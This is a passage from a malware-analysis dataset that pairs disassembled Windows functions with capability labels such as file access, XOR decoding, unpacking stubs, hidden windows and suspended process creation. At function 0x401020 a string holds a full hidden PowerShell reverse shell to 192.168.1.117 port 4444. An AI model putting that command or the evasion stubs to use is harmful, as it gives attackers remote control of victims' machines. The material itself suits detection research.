joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4077da
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov esi, dword [esp + 0x20]
mov dword [0x474f5c], 0x4c
mov dword [0x474f58], 0x55004e
test esi, esi
je 0x40785b
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
cmovne ecx, eax
sub esp, 0x1c
mov dword [esp + 0x14], ecx
movaps xmm0, xmmword [0x40b420]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
push 0x474f58
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x4079c8
cmp eax, 0x400
jg 0x4079c8
push 0x400
push 0x474754
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x4079c8
cmp eax, 0x400
jg 0x4079c8
mov esi, 0x474754
push esi
push 0x474f58
push str._ls_ls_r_n
push 0x474354
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edi, eax
mov eax, dword [0x40a004]
mov eax, dword [eax]
push dword [eax + 0x128]
push esi
call fcn.004079d0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
cmovne ecx, eax
sub esp, 0x1c
mov dword [esp + 0x14], ecx
movaps xmm0, xmmword [0x40b430]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4079c8
mov esi, eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
add eax, edi
add eax, 0xa
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
je 0x4079c1
mov ebx, eax
mov eax, esp
push 0
push eax
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4079c1
cmp dword [esp], ebp
jne 0x4079c1
push str._Rename__r_n
push ebx
call fcn.004075a4
test eax, eax
je 0x407971
add eax, 0xa
push 0x40b6a7
push eax
call fcn.004075a4
test eax, eax
je 0x407983
mov ecx, ebp
add ecx, ebx
cmp ecx, eax
jbe 0x40796c
mov dl, byte [ecx]
mov byte [ecx + edi], dl
lea edx, [ecx - 1]
mov ecx, edx
cmp edx, eax
ja 0x40795e
sub eax, ebx
inc eax
jmp 0x407985
lea eax, [ebx + ebp]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0xa
mov eax, ebp
test edi, edi
je 0x40799d
mov ecx, ebx
add ecx, eax
xor eax, eax
mov dl, byte [eax + 0x474354]
mov byte [ecx + eax], dl
inc eax
cmp edi, eax
jne 0x40798f
add ebp, edi
xor edi, edi
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 4]
push edi
push eax
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407d77
Capabilities:
Query or enumerate registry value

Disassembly:
push edi
push esi
sub esp, 0xc
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
xor edx, edx
cmp dword [esp + 0x28], 0
mov dword [esp + 8], 0x4000
setne dl
shl edx, 8
or edx, 0x20019
mov esi, esp
push esi
push edx
push ecx
push eax
call fcn.00407d0e
test eax, eax
jne 0x407df1
lea eax, [esp + 8]
lea ecx, [esp + 4]
push eax
push edi
push ecx
push 0
push dword [esp + 0x30]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov word [edi + 0x3ffe], 0
test esi, esi
jne 0x407df1
mov eax, dword [esp + 4]
add eax, 0xfffffffd
cmp eax, 0xfffffffd
ja 0x407df6
mov word [edi], 0
add esp, 0xc
pop esi
pop edi
ret 0x14

Function at 0x407ed9
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push edi
push esi
push eax
cmp dword [esp + 0x10], 0
je 0x407f06
mov eax, dword [0x418040]
cmp eax, 0xffffffff
je 0x407ef4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x418040], 0xffffffff
add esp, 4
pop esi
pop edi
ret 4
cmp dword [0x47d758], 0
je 0x407efe
cmp word [0x47d75c], 0
mov eax, dword [0x418040]
je 0x407f75
cmp eax, 0xffffffff
jne 0x407f75
mov edi, 0x47d75c
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor esi, esi
cmp eax, 0xffffffff
cmove eax, esi
sub esp, 0x1c
mov dword [esp + 0x14], eax
movaps xmm0, xmmword [0x40b440]
movups xmmword [esp + 4], xmm0
mov dword [esp], edi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x418040], eax
cmp eax, 0xffffffff
je 0x407efe
push 2
push esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [0x418040]
cmp eax, 0xffffffff
je 0x407efe
mov esi, 0x47df5c
push 0x40b76a
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, dword [0x418040]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov ecx, esp
push 0
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x407efe

Function at 0x408166
Capabilities:
Get common file path

Disassembly:
push edi
push esi
sub esp, 0x23c
mov edi, dword [esp + 0x248]
mov esi, esp
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ecx, ecx
cmp eax, 0x105
cmovb ecx, eax
test ecx, ecx
je 0x40819e
xor eax, eax
cmp word [esp + ecx*2 - 2], 0x5c
sete al
jmp 0x4081a1
xor eax, eax
inc eax
lea ecx, [esp + ecx*2]
lea eax, [eax*2 + 0x40b4ae]
push edi
push eax
push str._s_S.dll
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
add esp, 0x23c
pop esi
pop edi
ret 4
Function at 0x4082a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
cmp dword [0x47f1b0], 0
jne 0x4082dc
xor eax, eax
mov edx, 8
mov esi, eax
mov edi, esi
shr edi, 1
and esi, 1
neg esi
and esi, 0xedb88320
xor esi, edi
dec edx
jne 0x4082b9
mov dword [eax*4 + 0x47f1ac], esi
inc eax
cmp eax, 0x100
jne 0x4082b2
mov eax, dword [esp + 0x10]
test ecx, ecx
je 0x408305
mov edx, dword [esp + 0x14]
not eax
xor esi, esi
mov bl, byte [edx + esi]
xor bl, al
movzx edi, bl
shr eax, 8
xor eax, dword [edi*4 + 0x47f1ac]
inc esi
cmp ecx, esi
jne 0x4082ec
not eax
pop esi
pop edi
pop ebx
ret 0xc
Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
pop ebp
ret

Function at 0x401020
Capabilities:
Hide graphical window
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.00401000
push str.cmd__c_start__min____powershell__WindowStyle_Hidden__ExecutionPolicy_Bypass__Command___clientNew_Object_System.Net.Sockets.TCPClient_192.168.1.117_4444___stream_client.GetStream____readerNew_Object_IO.StreamReader__stream___writerNew_Object_IO.StreamWriter__stream__while__true__data_reader.ReadLine____sendbacktryInvoke_Expression__data_2_1__Out_Stringcatch__.Exception.Message__writer.Write__sendbackPS__pwd_.Path_____writer.Flush_____client.Close___
call fcn.0040411b
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401739
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401778
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401778
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401778
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401778
cmp dword [ecx + 0x74], 0xe
jbe 0x401778
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4080db
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408178
push ebx
push esi
call fcn.004080a4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408038
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408125
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408177
push edi
push eax
call fcn.00408cf8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408145
call fcn.0040597b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408176
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408038
add esp, 0x20
test eax, eax
jne 0x408164
push edi
call fcn.0040597b
jmp 0x40816c
push ebx
call fcn.0040597b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409475
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412228
push 0x412220
push str.FlsAlloc
push 0x1f
call fcn.00409334
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4094a9
push dword [ebp + 8]
mov ecx, esi
call dword [0x410134]
call esi
jmp 0x4094af
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4094f3
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412238
push 0x412230
push str.FlsGetValue
push 0x21
call fcn.00409334
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40952a
push dword [ebp + 8]
mov ecx, esi
call dword [0x410134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409532
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412240
push 0x412238
push str.FlsSetValue
push 0x22
call fcn.00409334
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40956c
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x410134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40eff0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f01d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f01d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4

Function at 0x431006
Capabilities:
Encode data using xor

Disassembly:
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x100010e3
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 8]
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [ebp - 4], eax
or eax, eax
je 0x10001115
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x10001115
push dword [ebp - 4]
call fcn.100010c6
push 0
pop dword [ebp - 4]
mov eax, dword [ebp - 4]
leave
ret 4

Function at 0x10001134
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.1000111c
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.1000111c
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push 0
call sub.kernel32.dll_CreateProcessA
lea edi, [ebp - 0x54]
push dword [edi]
push dword [edi + 4]
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_CloseHandle
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40ec70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0xb000]
push edi
or ebp, 0xffffffff
jmp 0x40ec92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40ec99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40ec88
mov eax, 1
add ebx, ebx
jne 0x40ecab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40eca0
jne 0x40ecbc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40eca0
xor ecx, ecx
sub eax, 3
jb 0x40ecd0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40ed42
mov ebp, eax
add ebx, ebx
jne 0x40ecdb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40ece8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40ed0c
inc ecx
add ebx, ebx
jne 0x40ecf8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40eced
jne 0x40ed09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40eced
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40ed2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40ed1d
jmp 0x40ec8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40ed2c
add edi, ecx
jmp 0x40ec8e
pop esi
mov edi, esi
mov ecx, 0x1d5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40ed4a
cmp byte [edi], 3
jne 0x40ed4a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40ed4f
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x40edc7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe6dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe718]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40ed7c
mov ecx, edi
jns 0x40edab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe71c]
or eax, eax
je 0x40edc1
mov dword [ebx], eax
add ebx, 4
jmp 0x40ed99
call dword [esi + 0xe720]
popal
jmp 0x401558

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430d10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43c1a6
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x596310]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x540fc4
call fcn.00426af3
xor edi, edi
mov dword [esp + 0x3c], edi
or dword [esp + 0x3c], 0xffffffff
mov ecx, 0x59a798
call fcn.00428c16
mov ecx, dword [esi + 0xc]
lea edx, [esp + 0x14]
mov eax, dword [ecx]
push edx
call dword [eax + 0x78]
mov dword [esp + 0x38], 1
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x5409ac
call fcn.00426af3
mov byte [esp + 0x3c], 2
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00428bb0
mov byte [esp + 0x40], 3
mov byte [esp + 0x40], 1
lea ecx, [esp + 0x20]
call fcn.00442f34
mov byte [esp + 0x40], 4
add esp, 4
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00428bb0
mov byte [esp + 0x3c], 5
mov byte [esp + 0x3c], 4
lea ecx, [esp + 0x28]
call 0x48f064
mov byte [esp + 0x38], 6
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x540694
call fcn.00426af3
mov byte [esp + 0x3c], 7
lea ebx, [esi + 0x74]
mov byte [esp + 0x3c], 6
mov ecx, ebx
call fcn.00426ca5
test eax, eax
jne 0x430e13
mov ecx, esi
call fcn.00431088
mov ecx, esi
call fcn.004309f1
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x540fd0
call fcn.00426af3
mov byte [esp + 0x3c], 8
mov byte [esp + 0x3c], 6
mov ecx, ebx
call fcn.00426ca5
test eax, eax
je 0x430e62
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x540fd4
call fcn.00426af3
mov byte [esp + 0x3c], 9
push 2
mov byte [esp + 0x40], 6
call fcn.00440fc9
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00428bb0
mov byte [esp + 0x3c], 0xa
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push 0x540e88
call fcn.00426af3
mov byte [esp + 0x44], 0xb
lea eax, [esp + 0x30]
push eax
mov byte [esp + 0x48], 6
mov ecx, dword [esi + 4]
call 0x4e22e9
test eax, eax
jne 0x430ec9
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x540fe8
call fcn.00426af3
mov byte [esp + 0x3c], 0xc
push 1
mov byte [esp + 0x40], 6
call fcn.00440fc9
jmp 0x430ecc
xor edi, edi
inc edi
mov byte [esp + 0x38], 4
lea ecx, [esp + 0x24]
call 0x48f0ce
mov byte [esp + 0x38], 1
mov ecx, dword [esp + 0x18]
lea ecx, [ecx - 0x10]
call fcn.00426b5b
or dword [esp + 0x38], 0xffffffff
mov ecx, dword [esp + 0x14]
add ecx, 0xfffffff0
call fcn.00426b5b
mov eax, edi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430f11
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43c209
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x596310]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push 0x540f80
call fcn.00426af3
and dword [esp + 0x2c], 0
or edi, 0xffffffff
mov dword [esp + 0x2c], edi
mov ecx, 0x59a798
call fcn.00428c16
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push 0x540f8c
call fcn.00426af3
mov dword [esp + 0x2c], 1
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
mov dword [esp + 0x2c], edi
call dword [eax + 0x90]
push ecx
push ecx
lea eax, [esi + 8]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.00443a98
mov dword [esp + 0x30], 2
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
mov dword [esp + 0x30], edi
call dword [eax + 0x3c]
test eax, eax
jne 0x43101b
push 0xfe
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x540fa4
call fcn.00426af3
mov dword [esp + 0x30], 3
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x540970
call fcn.00426af3
mov byte [esp + 0x34], 4
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push 0x540988
call fcn.00426af3
mov byte [esp + 0x38], 5
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, dword [eax + 8]
push eax
mov dword [esp + 0x3c], edi
mov ecx, esi
call fcn.0042fa70
xor eax, eax
jmp 0x431076
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
jne 0x431073
push 0x103
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x540fa4
call fcn.00426af3
mov dword [esp + 0x30], 6
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x540998
call fcn.00426af3
mov byte [esp + 0x34], 7
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x5407b0
call fcn.00426af3
mov byte [esp + 0x38], 8
jmp 0x431000
xor eax, eax
inc eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret